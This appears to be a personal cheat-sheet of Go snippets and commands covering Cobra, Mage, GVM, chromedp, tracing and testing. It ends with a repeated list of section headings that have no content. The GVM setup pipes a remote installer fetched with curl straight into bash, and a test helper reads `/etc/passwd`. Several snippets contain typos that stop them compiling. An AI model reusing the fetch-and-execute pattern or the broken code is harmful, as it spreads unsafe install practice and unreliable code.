go mod init "github.com/${GITHUB_USER}/${APP_NAME}"
go install github.com/spf13/cobra-cli@latest

Resources: https://dzone.com/articles/how-to-create-a-cli-in-go-in-few-minutes https://towardsdatascience.com/how-to-create-a-cli-in-golang-with-cobra-d729641c7177

Create a project

CONTACT=Your Name <youremail@wherever.com>
LICENSE=MIT

cobra-cli init -a "${CONTACT}" -l "${LICENSE}"

Add new command

CONTACT=Your Name <youremail@wherever.com>
LICENSE=MIT
CMD_NAME=commandname

cobra-cli add "${CMD_NAME}" -a "${CONTACT}" -l "${LICENSE}"

Add new subcommand

CMD_NAME=new
SUB_CMD_NAME=subnew
cobra-cli add "${CMD_NAME}" -a "${CONTACT}" -l "${LICENSE}"
cobra-cli add -p "${SUB_CMD_NAME}"

Build the binary

APP_NAME=myapp
go install "${APP_NAME}"

Create cobra config

This saves you from having to add this information each time you create a new cobra project.

~/.cobra.yaml:

author: Your Name <youremail@wherever.com>
license: MIT
useViper: true

How Flags Work

https://ordina-jworks.github.io/development/2018/10/20/make-your-own-cli-with-golang-and-cobra.html

Viper

Get all values

fmt.Println(viper.AllSettings())
fmt.Println(viper.AllKeys())

Resources:

Create go module without remote repo

Folder structure for example:

root
 ├── client
 │   ├── go.mod
 │   └── main.go
 └── lib
     ├── go.mod
     └── lib.go

Add the following to go.mod:

require github.com/owner/root/lib v0.0.0
replace github.com/owner/root/lib => ../lib

Resource: https://stackoverflow.com/questions/62164408/go-modules-without-remote-repository

Use forked version of repo

This example will use the Startfield repo that is a fork of the mdanidl guac-api:

replace github.com/mdanidl/guac-api => github.com/Startfield/guac-api latest

Mage

Install mage

go install github.com/magefile/mage@latest

Create go module (if not already done)

# Grab relevant string from git config for repo cloned with SSH
REPO=$(cat .git/config | grep github | awk -F '@' '{print $2}' | \
  tr ':' '/' | rev | cut -c5- | rev)
# Grab relevant string from git config for repo cloned with HTTPS
REPO="$(cat .git/config | grep url | \
  awk -F 'https://' '{print $2}' | rev | cut -c5- | rev)"
go mod init "${REPO}"

Resource: Remove last n chars from string

Create Mage Template for a project

mage -init

Run bash command

err := sh.Run("docker-compose", "down", "-v")
if err != nil {
    fmt.Printf("Failed to destroy the containers: %v\n", err)
    return err
}

Resource: https://github.com/magefile/mage/blob/master/magefile.go

Run bash command and get output

output, err := sh.Output("whoami")
if err != nil {
    fmt.Printf("Failed to figure out who I am :(")
    return err
}
if strings.Contains(output, "apache") {
    fmt.Println(output)
} else {
    fmt.Printf("Not currently the apache user.\n")
}

Resource: https://carolynvanslyck.com/blog/2021/01/mage-is-my-favorite-make/

Mage and Cobra

In order for these wonderful tools to place nicely you need to make some modifications. For this example, we’ll pretend there isn’t a pre-existing magefile:

mkdir magefiles
cd $_
cat > go.mod <<- EOM
module magefile

go 1.19

require (
        github.com/magefile/mage v1.12.1
)
EOM
mage -init

Debug magefile with VSCode

Create a new launch.json file in the .vscode folder:

{
  "version": "0.2.0",
  "configurations": [
    {
      "name": "Debug Mage Task",
      "type": "go",
      "request": "launch",
      "mode": "auto",
      "program": "${workspaceFolder}/magefiles/mage_output_file.go",
      "args": ["<Your_Mage_Task>"],
      // Pass magefile as a separate argument,
      // VSCode doesn't allow more than one file in "program".
      "buildFlags": "magefile.go",
      "preLaunchTask": "create mage_output_file.go and run code to debug",
      "postDebugTask": "delete mage_output_file.go"
    }
  ]
}

Create a new task.json file in the .vscode folder:

{
  "version": "2.0.0",
  "tasks": [
    {
      "label": "create mage_output_file.go and run code to debug",
      "type": "shell",
      "command": "mage --keep"
    },
    {
      "label": "delete mage_output_file.go",
      "type": "shell",
      "command": "rm -f mage_output_file.go"
    }
  ]
}

Compile Code

func Compile() error {
    fmt.Println(Compiling the code")

    env := map[string]string{
        "GOOS":   "linux",
        "GOARCH": "amd64",
    }

    return sh.RunWith(env, "go", "build")
}

Resource: https://github.com/mike-seagull/domain_pecker/blob/8d2def51ea69babe683fa74a4e32d48369b7c12f/magefile.go

Go vet pre-commit

If you want to run go vet as a pre-commit command, you’ll need to create a custom solution.

.pre-commit-config.yaml:

---
repos:
  - repo: local
    hooks:
      - id: go-vet
        name: Run go vet
        language: script
        entry: .hooks/go-vet.sh

.hooks/go-vet.sh:

#!/bin/bash
set -e

pkg=$(go list)
for dir in */ ; do
  if [[ "${dir}" != ".mage" ]] && \
     [[ "${dir}" != "config/" ]] && \
     [[ "${dir}" != "logs/" ]]; then
    go vet $pkg/$dir
  fi
done

Resource: Issue that yielded a solution go.mod example Original pre-commit hook that I based mine on

GVM

GVM is a version manager for golang.

Install GVM

You can add this script to your dotfiles if you’d like:

GO_VER=1.16.4
if hash go 2>/dev/null; then
  GVM_BIN=$HOME/.gvm/scripts/gvm
  export GOPATH=$HOME/programs/go
  if [[ ! -f $GVM_BIN ]]; then
    # Install gvm if it isn't installed
    bash < <(curl -s -S -L https://raw.githubusercontent.com/moovweb/gvm/master/binscripts/gvm-installer)
    source $GVM_BIN
    gvm install "go${GO_VER}"
  fi
  source $GVM_BIN
  gvm use "go${GO_VER}" --default
  # Add go to PATH - so we can run executables from anywhere
  export PATH="$PATH:${GOPATH}/bin"
fi

Create and use project pkgset

A pkgset is used to manage different GOPATHs for different projects.

PROJECT_NAME=myproject
gvm pkgset create "${PROJECT_NAME}"
gvm pkgset use "${PROJECT_NAME}"
# Show the updated $GOPATH to confirm everything worked as expected
echo $GOPATH

Resources:

List all go versions

gvm listall

Install new go version

gvm install go1.16.4

Set default go version

gvm use go1.16.4 --default

Resources: https://jimkang.medium.com/install-go-on-mac-with-homebrew-5fa421fc55f5
https://blog.bullgare.com/2020/11/install-go-with-gvm-on-macos-big-sur/

Convert if-else to switch statement

if-else example to convert:

// Helper function that returns a test file based on the OS of the system
func getTestFile(t *testing.T) string {
 t.Helper()
 var testFile string
 if runtime.GOOS == "linux" || runtime.GOOS == "darwin" {
  testFile = filepath.FromSlash("/etc/passwd")
 } else if runtime.GOOS == "windows" {
  testFile = filepath.FromSlash("C:/WINDOWS/system32/win.ini")
 } else {
  t.Fatal("Unsupported OS detected")
 }
 return testFile
}

converted to switch statements:

// Helper function that returns a test file based on the OS of the system
func getTestFile(t *testing.T) string {
        t.Helper()
        var testFile string
        switch runtime.GOOS {
        case "linux", "darwin":
                testFile = filepath.FromSlash("/etc/passwd")
        case "windows":
                testFile = filepath.FromSlash("C:/WINDOWS/system32/win.ini")
        default:
                t.Fatal("Unsupported OS detected")
        }
        return testFile
}

Resources:

Append text to file

f, err := os.OpenFile("text.log",
 os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
 log.Println(err)
}
defer f.Close()
if _, err := f.WriteString("text to append\n"); err != nil {
 log.Println(err)
}

Resource: https://yourbasic.org/golang/append-to-file/

Convert Error to String

b, err := os.ReadFile(filePath)
errStr := err.Error()
fmt.Println(errStr)

Resource: https://www.systutorials.com/in-golang-how-to-convert-an-error-to-a-string/

Check if String in File

f, err := os.Open(path)
if err != nil {
    return 0, err
}
defer f.Close()

// Splits on newlines by default.
scanner := bufio.NewScanner(f)

line := 1
// https://golang.org/pkg/bufio/#Scanner.Scan
for scanner.Scan() {
    if strings.Contains(scanner.Text(), "yourstring") {
        return line, nil
    }

    line++
}

if err := scanner.Err(); err != nil {
    // Handle the error
}

Resource: https://stackoverflow.com/questions/37255304/golang-find-string-in-file-and-show-line-number

Remove excess whitespace

import strings
mystring := "         bla        "
strings.TrimSpace(myString)

Resource: https://yourbasic.org/golang/trim-whitespace-from-string/

Simple HTTP Server

package main

import (
    "fmt"
    "net/http"
)

func main() {
    http.HandleFunc("/", HelloServer)
    http.ListenAndServe(":8080", nil)
}

func HelloServer(w http.ResponseWriter, r *http.Request) {
    fmt.Fprintf(w, "Hooray, I am a webserver running on golang!")
}

Resource: https://yourbasic.org/golang/http-server-example/

Get future date

This particular example will get the date 3 days into the future:

t := time.Now()
fmt.Println(t)
t2 := t.AddDate(0, 0, 3)
fmt.Println(t2)

Resources: https://234developer.wordpress.com/2019/09/12/how-to-add-days-to-date-in-golang/ https://go.dev/play/p/T-X-bjWpQia

Read Stdout into variable

This example also uses the script module, which is not a requirement for this to be relevant.

import "github.com/bitfield/script"

commanderOut, err := script.Echo("q").Exec(
    "keeper login myemail@provider.com").Stdout()

w.Close()
out, _ := io.ReadAll(r)
os.Stdout = rescueStdout

if err != nil {
    return "", fmt.Errorf("failed to login to keeper: %v", err)
}

fmt.Printf("Captured stdout: %s", out)

Resource: https://go.dev/play/p/fXpK0ZhXXf

Chromedp

Non-headless example

This particular example will grab the value of a javascript variable in the target page.

package main

import (
    "context"
    "log"

    "github.com/chromedp/chromedp"
)

func main() {
    // Response
    var resp string

    // Target page
    targetURL := "https://somesite.com/place"
    // Element that needs to load on the page
    waitElement := "#progress"
    // Name of the JS var we want to get the value from
    targetVar := "token"

    options := append(chromedp.DefaultExecAllocatorOptions[:],
        // Don't run chrome in headless mode
        chromedp.Flag("headless", false),
    )

    // Create allocator context
    allocatorCtx, cancel := chromedp.NewExecAllocator(
        context.Background(), options...)
    defer cancel()

    // Create context
    ctx, cancel := chromedp.NewContext(allocatorCtx)
    defer cancel()

    err := chromedp.Run(ctx,
        getJSVarValue(
            targetURL,
            waitElement,
            targetVar,
            &resp,
        ),
    )

    if err != nil {
        log.Fatal(err)
    }

    log.Printf("The value of %s is: %v\n", targetVar, resp)
}

// retrieve value of the input JS variable
// from the target site after the waitElement
// has loaded.
func getJSVarValue(targetURL string, waitElement string,
    targetVar string, resp *string) chromedp.Tasks {
    return chromedp.Tasks{
        chromedp.Navigate(targetURL),
        chromedp.WaitVisible(waitElement),
        chromedp.Evaluate(targetVar, &resp),
    }
}

Resources:

chromedp.SendKeys(`#mydropdown`, "Text label content")

Resource: https://github.com/chromedp/chromedp/issues/8

ChromeDP Key definitions

If you need to figure out the mapping for a key, i.e.

Backspace = "\b"

you can find that information here:

Source code: https://github.com/chromedp/chromedp/blob/master/kb/kb.go#L118-L488 Docs: https://pkg.go.dev/github.com/chromedp/chromedp/kb#section-documentation

Update release version after updating

If you need to update a tagged release after using it with a project, you will need to do the following to use the new release:

Remove the existing go.mod and go.sum files for your project:
```
rm go.*
```

Remove any traces of the package from the system’s caches (these instructions are for a deployment using gvm, but you should be able to find the cache for a system that’s only using one version of go:

GO_VER=go1.18
REPO_OWNER=l50

cd "${HOME}/.gvm/pkgsets/${GO_VER}/global/pkg"
rm -rf mod/cache/download/sumdb && \
  rm -rf "./mod/cache/download/github.com/${REPO_OWNER}" && \
  sudo rm -rf "./mod/github.com/${REPO_OWNER}"

Set the GOPRIVATE env var to point to the repo, so that go get will download the module directly from the repo on github:
```
REPO_OWNER=l50
REPO_NAME=goutils

go env -w GOPRIVATE="github.com/${REPO_OWNER}/${REPO_NAME}"
```

Recreate the go module for your project and install the module dependencies:

REPO_OWNER=l50
REPO_NAME=sweetproject

go mod init github.com/${REPO_OWNER}/${REPO_NAME}"
go mod tidy

Resources:

Empty test cache

To ensure you’re not getting cached test results, you can run the following:

go clean -testcache

Resource: https://stackoverflow.com/questions/48882691/force-retesting-or-disable-test-caching

Fix checksum mismatch

If you encounter a checksum mismatch while compiling your code, run the following commands to re-download your dependencies with the proper checksum values:

go clean -modcache
go mod tidy

Resource: https://stackoverflow.com/questions/54133789/go-modules-checksum-mismatch

Print struct fields

This will print the Go-syntax representation of the struct and its fields:

fmt.Printf("STRUCT FIELDS: %#v\n", mystruct)

Run go functions using the terminal

There are several options out there to do this. I’m going to cover a few that I tested and use.

goeval

This example will list all files recursively in /tmp:

goeval -i .=github.com/l50/goutils@v1.2.1 -i github.com/l50/goutils 'fmt.Println(utils.ListFilesR("/tmp"))'

This example will print all exported function in the package found in the current directory:

goeval -i .=github.com/l50/goutils@latest -i github.com/l50/goutils 'fmt.Println(utils.FindExportedFunctionsInPackage("."))'

This example will use a specific commit hash of goutils:

COMMIT=8d8f800fbba1101d5a98bfe5f612372c630bb115; \
goeval -i goutils=github.com/l50/goutils@$COMMIT 'fmt.Println(goutils.FindExportedFuncsWithoutTests("../awsutils/pkg/ec2"))'

Debugging - show generated file:

goeval -E -i .=github.com/l50/goutils@latest -i github.com/l50/goutils 'fmt.Println(utils.FindExportedFuncsWithoutTests("."))'

Debugging - show run commands;

goeval -x -i .=github.com/l50/goutils@latest -i github.com/l50/goutils 'fmt.Println(utils.FindExportedFuncsWithoutTests("."))'

Define import name:

goeval -i goutils=github.com/l50/goutils@latest 'fmt.Println(goutils.FindExportedFunctionsInPackage("."))'

Gosh

Please note that I was unable to find a way to make this work offline. If your internet goes out, you won’t be able to use your gosh work.

Use external package

This example will list all files recursively in /tmp:

gosh -import='github.com/l50/goutils' -e 'fmt.Println(utils.ListFilesR("/tmp"))'

Debugging: show generated file

gosh -import='github.com/l50/goutils' \
  -e 'fmt.Println(utils.CommanderInstalled())' -show-filename

Clear go cache

go clean -modcache

Resource: https://stackoverflow.com/questions/55348458/build-constraints-exclude-all-go-files-in

Method Receivers

A method receiver is used to associate a function with a specific struct type. This allows you to call a function on an instance of a struct, similar to how methods work in OOP.

It is effectively a way of passing a struct instance to a function without having to explicitly pass it as an argument.

Example:

package main

import "fmt"

type Person struct {
 Name string
 Age  int
}

// Define a method receiver (p *Person) for the `sayHello` function
func (p *Person) sayHello() {
 fmt.Printf("Hello, my name is %s and I am %d years old.\n", p.Name, p.Age)
}

func main() {
 person := Person{Name: "Alice", Age: 30}

 // Call the sayHello function on the person instance
 person.sayHello()
}

In this example, the sayHello() function is associated with the Person struct using the method receiver (p *Person). This allows you to call the sayHello() function directly on an instance of Person (i.e., person.sayHello()), without having to pass the instance as a parameter.

Print struct contents

Install spew:

go get -u github.com/davecgh/go-spew/spew

Use in code:

import "github.com/davecgh/go-spew/spew"
...

spew.Dump(struct)

Run goreleaser

goreleaser release --snapshot --clean

Resource: https://goreleaser.com/quick-start/

Profile a Cobra Command

To profile a Cobra command and analyze its performance, you can use Go’s built-in runtime/trace package. This allows you to generate a trace file that can be analyzed using Go’s tracing tools.

Step 1: Modify your main.go file

Update your main.go file to include tracing:

package main

import (
 "fmt"
 "os"
 "runtime/trace"
 "time"

 "github.com/spf13/cobra"
 "github.com/spf13/viper"
)

var (
 cfgFile string
 rootCmd *cobra.Command
)

func init() {
 cobra.OnInitialize(initConfig)
 rootCmd = &cobra.Command{
  Use:   "myapp",
  Short: "A brief description of your application",
  Long:  `A longer description of your application`,
  Run: func(cmd *cobra.Command, args []string) {
   // Your main command logic here
  },
 }
 rootCmd.PersistentFlags().StringVar(&cfgFile, "config", "", "config file (default is $HOME/.myapp.yaml)")
}

func initConfig() {
 start := time.Now()
 fmt.Println("Starting initConfig at", start)

 if cfgFile != "" {
  viper.SetConfigFile(cfgFile)
 } else {
  home, err := os.UserHomeDir()
  cobra.CheckErr(err)
  viper.AddConfigPath(home)
  viper.SetConfigType("yaml")
  viper.SetConfigName(".myapp")
 }

 viper.AutomaticEnv()

 if err := viper.ReadInConfig(); err == nil {
  fmt.Println("Using config file:", viper.ConfigFileUsed())
 }

 fmt.Println("After config initialization:", time.Since(start))

 // Add your custom initialization steps here
 // Example:
 // initializeLogging()
 // fmt.Println("After logging initialization:", time.Since(start))
 //
 // loadAppConstants()
 // fmt.Println("After loading constants:", time.Since(start))
 //
 // initializeDatabase()
 // fmt.Println("After database initialization:", time.Since(start))

 end := time.Now()
 fmt.Println("Finished initConfig at", end, "Duration:", end.Sub(start))
}

func main() {
 // Create a file to store the trace
 f, err := os.Create("trace.out")
 if err != nil {
  fmt.Println("Could not create trace file:", err)
  return
 }
 defer f.Close()

 // Start tracing
 if err := trace.Start(f); err != nil {
  fmt.Println("Could not start trace:", err)
  return
 }
 defer trace.Stop()

 // Execute your Cobra command
 if err := rootCmd.Execute(); err != nil {
  fmt.Println(err)
  os.Exit(1)
 }
}

Step 2: Build and run your application

Build your application and run it with the command you want to profile:

go build -o myapp
./myapp [flags]

This will generate a trace.out file in the current directory.

Step 3: Analyze the trace

Use the go tool trace command to analyze the generated trace:

go tool trace trace.out

This will open a web browser with the trace visualization tool, allowing you to explore various aspects of your command’s performance.

Step 4: Interpret the results

In the trace viewer, you can:

View the timeline of goroutines
Analyze CPU usage
Examine memory allocation
Identify blocking operations

Look for:

Long-running goroutines
Excessive memory allocations
Contention points (e.g., lock contentions)
I/O operations that might be optimized

Pay special attention to the initConfig function, as it includes several important steps that are timed. The timing information printed for each of these steps can help identify bottlenecks in the initialization process.

Step 5: Optimize your code

Based on the insights from the trace analysis, optimize your Cobra command implementation. This might involve:

Reducing unnecessary allocations
Improving concurrency
Optimizing I/O operations
Refactoring hot spots in your code
Parallelizing initialization steps where possible
Lazy-loading configuration or deferring heavy operations until they’re needed

Tips

Profile your command with different inputs and flags to get a comprehensive view of its performance characteristics.
Use benchmarks in addition to tracing for more detailed performance metrics.
Consider using pprof for CPU and memory profiling in addition to tracing.
The time.Since measurements in initConfig provide a quick way to identify which initialization steps are taking the most time. Consider adding more granular timing around specific operations within these steps if needed.
Customize the initConfig function with your application-specific initialization steps, and add timing logs for each step to identify potential bottlenecks.

Remember to remove or comment out the tracing code and detailed timing logs before releasing your application, as they add overhead to normal execution.

Installation#

Using ASDF#

Ubuntu#

MacOS#

Set Go for VSCode#

Start New Project#

Clone project#

Get dependencies#

Install go mod tied to specific tag#

Install specific package tied to a commit#

functionName vs FunctionName#

Compile binary#

String Interpolation#

Debugging#

Remove empty strings trailing in a slice#

Read an input file from a specified path#

Remove an extension from a string#

Check if command installed#

Upload file to remote web server#

Compiling binaries#

Return multiple values from function#

Multiline string#

Comments#

Normal#

Block#

Exported function comment template#

Exported struct comment template#

Exported interface comment template#

Nested directory creation#

Convert int to str#

Check if file contains string#

Check if string contains another string#

Filepath operations#

Get the directory of a path#

Get the last element of a path#

Expand tilde to home dir#

Create file with string content#

Read template file#

Update all go modules recursively#

Go get cert errors fix#

Generate random int in a range#

Get lowercase version of string#

Copy file#

Determine OS being used#

Go get private repo#

Get Working Directory#

Install a specific binary version#

Testing#

Testing Harness#

Example Tests#

Run tests without caching#

Run unit tests in a directory#

Run specific unit test#

Unit test private functions#

Run go tests concurrently and time them#

Slices#

String to Slice#

Convert string slice to string#

Check if string in slice#

Write slice to file#

Get everything but first element of slice#

Convert bytes slice to a string#

Convert strings slice to string#

File to Slice#

Go Mod#

Write to file#

Append to multiple files#

Unmarshal YAML to struct - example 1#

Get contents of YAML file#

Print contents of YAML file#

Unmarshal YAML to struct - example 2#

Multi line variable assignment#

Set#

Regular expressions#

Check if string matches regex#

Check if string is valid hostname#

String interpolation with filepath#

Update package on go.dev#

Print go representation of a value#

Convert relative to absolute path#

Installation

Using ASDF

Ubuntu

MacOS

Set Go for VSCode

Start New Project

Clone project

Get dependencies

Install go mod tied to specific tag

Install specific package tied to a commit

functionName vs FunctionName

Compile binary

String Interpolation

Debugging

Remove empty strings trailing in a slice

Read an input file from a specified path

Remove an extension from a string

Check if command installed

Upload file to remote web server

Compiling binaries

Return multiple values from function

Multiline string

Comments

Normal

Block

Exported function comment template

Exported struct comment template

Exported interface comment template

Nested directory creation

Convert int to str

Check if file contains string

Check if string contains another string

Filepath operations

Get the directory of a path

Get the last element of a path

Expand tilde to home dir

Create file with string content

Read template file

Update all go modules recursively

Go get cert errors fix

Generate random int in a range

Get lowercase version of string

Copy file

Determine OS being used

Go get private repo

Get Working Directory

Install a specific binary version

Testing

Testing Harness

Example Tests

Run tests without caching

Run unit tests in a directory

Run specific unit test

Unit test private functions

Run go tests concurrently and time them

Slices

String to Slice

Convert string slice to string

Check if string in slice

Write slice to file

Get everything but first element of slice

Convert bytes slice to a string

Convert strings slice to string

File to Slice

Go Mod

Write to file

Append to multiple files

Unmarshal YAML to struct - example 1

Get contents of YAML file

Print contents of YAML file

Unmarshal YAML to struct - example 2

Multi line variable assignment

Set

Regular expressions

Check if string matches regex

Check if string is valid hostname

String interpolation with filepath

Update package on go.dev

Print go representation of a value

Convert relative to absolute path